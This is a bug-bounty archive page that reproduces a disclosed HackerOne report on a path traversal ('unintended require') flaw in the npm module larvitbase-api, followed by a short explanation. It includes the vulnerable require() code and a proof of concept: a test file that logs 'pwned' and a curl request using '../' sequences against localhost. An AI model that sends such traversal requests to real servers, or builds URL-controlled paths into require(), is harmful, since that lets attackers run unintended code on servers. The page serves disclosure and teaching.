Skip to content
Path traversal Disclosed report Intermediate CVE-2019-5479

[larvitbase-api] Unintended Require

The larvitbase-api module builds a file path for require() using the URL path, allowing an attacker to load arbitrary JavaScript files from the server. This could lead to execution of unintended code, though the report only demonstrates loading a test file that logs a message.

ermilov Follow

Originally disclosed on HackerOne

Medium 5.4 View original
  • Triaged in 6 days
  • Fixed in 4 months
  • Disclosed after 4 months

I would like to report Unintended Require vulnerability in larvitbase-api It allows loading arbitary non-production code (js files).

Module

module name: larvitbase-api version: 0.5.3 npm page: https://www.npmjs.com/package/larvitbase-api

Module Description

REST http API base framework based on larvitbase (https://github.com/larvit/larvitbase)

Module Stats

59 downloads in the last day 250 downloads in the last week 715 downloads in the last month

Vulnerability

Vulnerability Description

larvitbase-api is an HTTP server which dynamically loads (with help of require()) some parts of the code. As long as the path to required module is partially depend on the url (req.urlBase), anybody can cause code to load that was not intended to run on the server.

source code example:

https://github.com/larvit/larvitbase-api/blob/master/index.js#L183

req.routed = {
	controllerFullPath: path.join(altControllerPaths[i], req.urlBase) + '.js',
	controllerPath: req.urlBase
};

https://github.com/larvit/larvitbase-api/blob/master/index.js#L210

require(req.routed.controllerFullPath)(req, res, cb);

Detailed description of this bug can be found here: https://nodesecroadmap.fyi/chapter-1/threat-UIR.html

Steps To Reproduce:

  • create directory for testing
mkdir poc
cd poc/
  • install package
npm i larvitbase-api
  • create index.js file with default usage of larvitbase-api

index.js (example code form https://www.npmjs.com/package/larvitbase-api)

const	Api	= require('larvitbase-api');

let	api;

api = new Api({
    'baseOptions':	{'httpOptions': 8001},
    'routerOptions':	{},
    'reqParserOptions':	{},
});

api.start(function (err) {});
  • create hack.js file with some arbitary code for testing

hack.js

console.log('pwned');
  • start index.js
node index.js
  • send crafted request to web app (localhost:8001 by deafult) in order to force using of hack.js script
curl --path-as-is 'http://localhost:8001/../../../../../../hack'
  • index.js should log something like this to terminal:
pwned
                        require(req.routed.controllerFullPath)(req, res, cb);
TypeError: require(...) is not a function

Patch

Supporting Material/References:

  • OS: Linux Mint current
  • Node.js: 8.11.1
  • NPM: 6.4.0

Wrap up

  • I contacted the maintainer to let them know: N
  • I opened an issue in the related repository: N

Impact

An attacker is able to control the x in require(x) and cause code to load that was not intended to run on the server.

The original report as published on HackerOne, by ermilov. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The application constructs a file path by joining a base directory with user-controlled URL path without sanitisation, then passes it to require().

Impact

An attacker could load unintended JavaScript files on the server, though the report only demonstrates loading a file that logs a message.

What the attacker needed

Larvitbase-api installed and running; attacker can send HTTP requests

How it was found

  1. Create a test directory and install the larvitbase-api package.
  2. Create an index.js file that starts the API server on port 8001.
  3. Create a hack.js file with arbitrary code (e.g., console.log('pwned')).
  4. Start the server with node index.js.
  5. Send a crafted request using curl with path traversal to load hack.js.
  6. Observe the server logs showing the code executed.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This package loads code files based on the web address you request. Because it doesn't check the address properly, someone can ask it to load unintended JavaScript files on the server, which then run.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by ermilov

View all

8 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.